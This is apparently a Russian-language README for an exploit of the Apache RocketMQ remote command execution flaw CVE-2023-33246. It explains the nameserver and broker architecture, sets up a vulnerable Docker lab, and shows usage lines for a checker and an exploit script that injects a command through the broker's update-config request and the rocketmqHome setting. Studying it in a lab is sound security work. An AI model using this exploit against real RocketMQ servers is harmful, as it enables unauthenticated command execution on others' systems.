
Эксплойт для Apache RocketMQ RCE (CVE-2023-33246), который выполняет произвольные команды через функцию обновления конфигурации, с настройкой окружения и примерами использования.
Apache RocketMQ — одна из самых популярных и широко используемых распределённых платформ обмена сообщениями и потоковой передачи данных. Недавно была опубликована информация об уязвимости выполнения команд в Apache RocketMQ, затрагивающей версии 5.1.0 и ниже. Удалённый неаутентифицированный пользователь может использовать эту уязвимость через функцию обновления конфигурации, чтобы выполнять команды с тем же уровнем доступа, что и процесс RocketMQ.
Nameserver в RocketMQ выступает в роли реестра или хранилища метаданных для всей инфраструктуры обмена сообщениями.
Он хранит информацию о топиках, очередях и брокерах, ответственных за обработку сообщений.
Клиенты (производители и потребители) используют nameserver для обнаружения брокеров, с которыми им нужно взаимодействовать для публикации или получения сообщений.
Nameserver отвечает за динамическую маршрутизацию, балансировку нагрузки и отказоустойчивость в кластере RocketMQ.
Он прослушивает определённый порт (обычно порт 9876 по умолчанию) для входящих запросов от клиентов и брокеров.
Брокеры — это рабочие лошадки системы RocketMQ, отвечающие за хранение и управление сообщениями.
Каждый брокер управляет одним или несколькими топиками, которые являются логическими каналами для обмена сообщениями.
Производители публикуют сообщения в определённые топики, а потребители подписываются на топики для получения сообщений.
Брокеры обрабатывают хранение, репликацию и доставку сообщений потребителям на основе подписок и шаблонов потребления.
Они поддерживают очереди сообщений для каждой пары топик-партиция, обеспечивая эффективную обработку и доставку сообщений.
Брокеры взаимодействуют с nameserver для регистрации, обновления метаданных и участия в механизмах маршрутизации и балансировки нагрузки кластера.
Настройка локального окружения RocketMQ через Docker
docker pull apache/rocketmq:4.9.4
### Запуск nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
### Запуск Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
python3 check.py --ip 127.0.0.1 --port 9876

PCAP

Функция UpdateBrokerConfig() срабатывает при получении запроса с кодом '25', который связан с RequestCode.
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl 127.0.0.1/exp

PCAP

Мы используем конфигурацию сервера "rocketmqHome", находящуюся в файле broker.conf. Эта конфигурация задаёт значение переменной окружения ROCKETMQ_HOME внутри процесса RocketMQ. Аккуратно подбирая это значение, мы можем выполнять произвольные команды.

вот как работает эта уязвимость..